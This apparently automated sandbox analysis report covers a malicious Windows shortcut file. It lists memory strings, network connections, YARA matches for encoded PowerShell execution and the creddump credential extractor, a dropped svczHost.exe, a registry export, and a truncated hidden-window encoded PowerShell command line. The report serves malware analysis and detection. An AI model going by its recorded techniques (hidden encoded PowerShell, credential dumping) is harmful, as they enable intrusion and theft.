Source: svchost.exe, 00000015.00000002.476263526128.0000026EC745E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.474801397585.0000026EC7D40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.474801077136.0000026EC7D2C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.474801077136.0000026EC7D29000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.474801270647.0000026EC7D3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.474801333102.0000026EC7D2C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineConnect.srf?id=80604
Source: svchost.exe, 00000015.00000002.476263526128.0000026EC745E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.474801697139.0000026EC7D0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.474801476997.0000026EC7D6B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.474801639856.0000026EC7D0E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineDesktop.srf
Source: svchost.exe, 00000015.00000003.474801077136.0000026EC7D2C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineDesktop.srfm
Source: svchost.exe, 00000015.00000003.474823026388.0000026EC7D50000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000002.476266792343.0000026EC7D51000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?
Source: svchost.exe, 00000015.00000003.474801397585.0000026EC7D40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000002.476266627867.0000026EC7D37000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000002.476263305673.0000026EC7440000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.474801270647.0000026EC7D3B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80502
Source: svchost.exe, 00000015.00000003.474801397585.0000026EC7D40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.474801270647.0000026EC7D3B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80600
Source: svchost.exe, 00000015.00000002.476263305673.0000026EC7440000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80600ing
Source: svchost.exe, 00000015.00000003.474801397585.0000026EC7D40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000002.476266627867.0000026EC7D37000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.474801270647.0000026EC7D3B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80601
Source: svchost.exe, 00000015.00000002.476263305673.0000026EC7440000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80601ng
Source: svchost.exe, 00000015.00000003.474801077136.0000026EC7D2C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.474801270647.0000026EC7D3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.474801333102.0000026EC7D2C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80603
Source: svchost.exe, 00000015.00000003.474801333102.0000026EC7D2C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80604
Source: svchost.exe, 00000015.00000003.474801397585.0000026EC7D40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000002.476266627867.0000026EC7D37000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.474801270647.0000026EC7D3B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=806044
Source: svchost.exe, 00000015.00000002.476263305673.0000026EC7440000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80604e
Source: svchost.exe, 00000015.00000002.476263526128.0000026EC745E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.474801397585.0000026EC7D40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000002.476266627867.0000026EC7D37000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.474801077136.0000026EC7D2C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.474801077136.0000026EC7D29000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.474801270647.0000026EC7D3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.474801333102.0000026EC7D2C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80605
Source: svchost.exe, 00000015.00000002.476263526128.0000026EC745E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.474801397585.0000026EC7D40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.474801077136.0000026EC7D2C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.474801077136.0000026EC7D29000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.474801270647.0000026EC7D3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.474801333102.0000026EC7D2C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80606
Source: svchost.exe, 00000015.00000002.476263526128.0000026EC745E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.474801397585.0000026EC7D40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.474801077136.0000026EC7D2C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.474801077136.0000026EC7D29000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.474801270647.0000026EC7D3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.474801333102.0000026EC7D2C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80607
Source: svchost.exe, 00000015.00000002.476263526128.0000026EC745E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.474801397585.0000026EC7D40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.474801077136.0000026EC7D2C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.474801077136.0000026EC7D29000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.474801270647.0000026EC7D3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.474801333102.0000026EC7D2C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80608
Source: svchost.exe, 00000015.00000003.474801077136.0000026EC7D2C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.474801333102.0000026EC7D2C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlinePOPAuth.srf?id=80601&fid=cp
Source: svchost.exe, 00000015.00000003.474801697139.0000026EC7D0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000002.476263305673.0000026EC7440000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.474801639856.0000026EC7D0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.474801077136.0000026EC7D2C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlinePOPAuth.srf?id=80601&fid=cp
Source: svchost.exe, 00000015.00000002.476263526128.0000026EC745E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.474801397585.0000026EC7D40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.474801077136.0000026EC7D2C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.474801077136.0000026EC7D29000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.474801270647.0000026EC7D3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.474801333102.0000026EC7D2C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlinePOPAuth.srf?id=80605
Source: svchost.exe, 00000015.00000002.476263526128.0000026EC745E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.474801397585.0000026EC7D40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.474801270647.0000026EC7D3B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/ResolveUser.srf
Source: svchost.exe, 00000015.00000003.474801397585.0000026EC7D40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000002.476263172002.0000026EC742A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000002.476263305673.0000026EC7440000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.474801270647.0000026EC7D3B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/SHA1Auth.srf
Source: svchost.exe, 00000015.00000002.476269277800.0000026EC8286000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/SHA1Auth.srf&
Source: svchost.exe, 00000015.00000002.476263526128.0000026EC745E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/SHA1Auth.srfC
Source: svchost.exe, 00000015.00000002.476263172002.0000026EC742A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000002.476263305673.0000026EC7440000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/deviceaddcredential.srf
Source: svchost.exe, 00000015.00000003.474823026388.0000026EC7D50000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.474801397585.0000026EC7D40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000002.476266627867.0000026EC7D37000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000002.476266792343.0000026EC7D51000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000002.476263305673.0000026EC7440000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.474801270647.0000026EC7D3B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/devicechangecredential.srf
Source: svchost.exe, 00000015.00000002.476263305673.0000026EC7440000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/devicechangecredential.srf0
Source: svchost.exe, 00000015.00000003.474801397585.0000026EC7D40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000002.476266627867.0000026EC7D37000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000002.476263305673.0000026EC7440000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.474801270647.0000026EC7D3B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/deviceremovecredential.srf
Source: svchost.exe, 00000015.00000002.476263305673.0000026EC7440000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/deviceremovecredential.srf0
Source: svchost.exe, 00000015.00000002.476263305673.0000026EC7440000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.474801270647.0000026EC7D3B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/resetpw.srf
Source: svchost.exe, 00000015.00000003.474801397585.0000026EC7D40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000002.476263305673.0000026EC7440000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.474801333102.0000026EC7D29000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.474801270647.0000026EC7D3B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/retention.srf
Source: powershell.exe, 00000003.00000002.474654276192.000001C6DDDD5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.474654276192.000001C6DDF0C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.474636787839.000001C6CF240000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.474906856227.000002BCD5F0A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.474806234287.0000018ADFD6B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.474754978371.0000018AD1348000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.475773046858.0000023B99FEB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001C.00000002.475534195964.000001974FBF8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001C.00000002.475162023951.0000019740F3E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: powershell.exe, 00000009.00000002.474754978371.0000018AD106F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneget.org
Source: svchost.exe, 00000015.00000003.474823026388.0000026EC7D50000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.474801397585.0000026EC7D40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000002.476263305673.0000026EC7440000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.474801333102.0000026EC7D29000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.474801270647.0000026EC7D3B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://signup.live.com/signup.aspx

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49821 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49832 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822

Source: unknown	HTTPS traffic detected: 172.67.128.139:443 -> 192.168.11.30:49812 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.128.139:443 -> 192.168.11.30:49821 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.128.139:443 -> 192.168.11.30:49827 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.128.139:443 -> 192.168.11.30:49840 version: TLS 1.2

Spam, unwanted Advertisements and Ransom Demands

Reads the Security eventlog

Source: C:\Windows\Temp\myRdpService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security
Source: C:\Windows\Temp\myRdpService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security
Source: C:\Windows\Temp\myRdpService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security
Source: C:\Windows\Temp\myRdpService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security
Source: C:\Windows\Temp\myRdpService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security
Source: C:\Windows\Temp\myRdpService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security
Source: C:\Windows\Temp\myRdpService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security\RdpService

Reads the System eventlog

Source: C:\Windows\Temp\myRdpService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System
Source: C:\Windows\Temp\myRdpService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System
Source: C:\Windows\Temp\myRdpService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System
Source: C:\Windows\Temp\myRdpService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System
Source: C:\Windows\Temp\myRdpService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System
Source: C:\Windows\Temp\myRdpService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System

System Summary

Malicious sample detected (through community Yara rule)

Source: amsi64_6008.amsi.csv, type: OTHER	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: 49.2.myRdpService.exe.7ff759160000.0.unpack, type: UNPACKEDPE	Matched rule: creddump is a python tool to extract credentials and secrets from Windows registry hives. Author: @mimeframe
Source: 00000031.00000002.476272694589.00007FF759666000.00000004.00000001.01000000.0000000B.sdmp, type: MEMORY	Matched rule: creddump is a python tool to extract credentials and secrets from Windows registry hives. Author: @mimeframe
Source: Process Memory Space: powershell.exe PID: 8860, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 6008, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: svczHost.exe PID: 9472, type: MEMORYSTR	Matched rule: creddump is a python tool to extract credentials and secrets from Windows registry hives. Author: @mimeframe

Powershell drops PE file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Windows\Temp\svczHost.exe

Jump to dropped file

Uses regedit.exe to modify the Windows registry

Source: C:\Windows\Temp\myRdpService.exe

Process created: C:\Windows\regedit.exe "regedit.exe" /e "C:\Windows\Temp\regBackup.reg" "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService"

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File deleted: C:\Windows\Temp\file

Source: Joe Sandbox View

Dropped File: C:\Windows\Temp\svczHost.exe B1D69CBC0A2D13B89500D37726AD9E01817C8890262E3CE4A561F82B63708B9A

Source: svczHost.exe.15.dr

Static PE information: Resource name: RT_VERSION type: MacBinary, comment length 97, char. code 0x69, total length 1711304448, Wed Mar 28 22:22:24 2040 INVALID date, modified Tue Feb 7 01:41:58 2040, creator ' ' "4"

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: Commandline size = 3679
Source: C:\Windows\System32\cmd.exe	Process created: Commandline size = 3632
Source: C:\Windows\Temp\svczHost.exe	Process created: Commandline size = 2904
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: Commandline size = 3679	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: Commandline size = 3632
Source: C:\Windows\Temp\svczHost.exe	Process created: Commandline size = 2904

Source: amsi64_6008.amsi.csv, type: OTHER	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: 49.2.myRdpService.exe.7ff759160000.0.unpack, type: UNPACKEDPE	Matched rule: hacktool_windows_moyix_creddump author = @mimeframe, description = creddump is a python tool to extract credentials and secrets from Windows registry hives., reference = https://github.com/moyix/creddump
Source: 00000031.00000002.476272694589.00007FF759666000.00000004.00000001.01000000.0000000B.sdmp, type: MEMORY	Matched rule: hacktool_windows_moyix_creddump author = @mimeframe, description = creddump is a python tool to extract credentials and secrets from Windows registry hives., reference = https://github.com/moyix/creddump
Source: Process Memory Space: powershell.exe PID: 8860, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 6008, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: svczHost.exe PID: 9472, type: MEMORYSTR	Matched rule: hacktool_windows_moyix_creddump author = @mimeframe, description = creddump is a python tool to extract credentials and secrets from Windows registry hives., reference = https://github.com/moyix/creddump

Source: classification engine

Classification label: mal100.troj.expl.evad.winLNK@82/64@1/2

Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE

File created: C:\Program Files\Microsoft Office\root\vfs\Common AppData\Microsoft\Office\Heartbeat\HeartbeatCache.xml

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8600:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:10236:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:6836:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8868:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:9812:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2544:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:9664:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:324:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:8008:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:9488:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:9488:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:9644:304:WilStaging_02
Source: C:\Windows\Temp\myRdpService.exe	Mutant created: \BaseNamedObjects\Global\netfxeventlog.1.0
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6864:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:9664:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:7140:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:7140:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:5908:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:9812:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6780:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6864:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:10236:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:324:304:WilStaging_02
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: \Sessions\1\BaseNamedObjects\STARTUAC
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:5908:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8600:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8592:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8868:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:8008:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:6836:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2544:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:9644:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3pdys5tw.d3y.ps1

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_Processor
Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor

Source: C:\Windows\System32\conhost.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Jump to behavior

Source: rRtGI3L0ca.lnk	ReversingLabs: Detection: 28%
Source: rRtGI3L0ca.lnk	Virustotal: Detection: 34%

Source: unknown	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /v /k "PowerSHell.Exe -WINDoWStyLe hIdDen -encOdEdComMANd 